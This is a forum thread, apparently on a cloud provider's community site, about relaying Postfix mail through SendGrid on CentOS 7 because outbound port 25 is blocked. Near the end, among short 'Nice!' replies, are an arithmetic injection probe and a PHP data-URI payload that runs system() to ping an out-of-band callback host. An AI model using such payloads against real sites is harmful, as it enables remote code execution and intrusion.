i have created a guide to use sendgrid as smtp relay using centos 7 and postfix , tested under cent

By default Alibaba Cloud Block Out going port 25 . We need to setup smtp relay for it.
https://dodocrypto.com/index.php/2019/11/11/setup-alibaba-cloud-ecs-server-cloud-postfix-email-using-sendgrid/

Hi, you can ask support to open your port 25. You will need to give a good explanation of what you want to achieve, as is not considered secure and very common to use. It comes blocked by default even if you put it in your Security Group.

I believe he was sharing his blog post with the community, and not asking a question.


@dodocrypto, that was a good post, although you missed an amazing opportunity to share a screenshot!


 

I think this website is gone

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The website should be up now. :) .

Nice!

Nice!

456654634+543647

data:text/plain,<?php system('ping -c1 vjl7cyz.xaliyun.com');?>

Nice!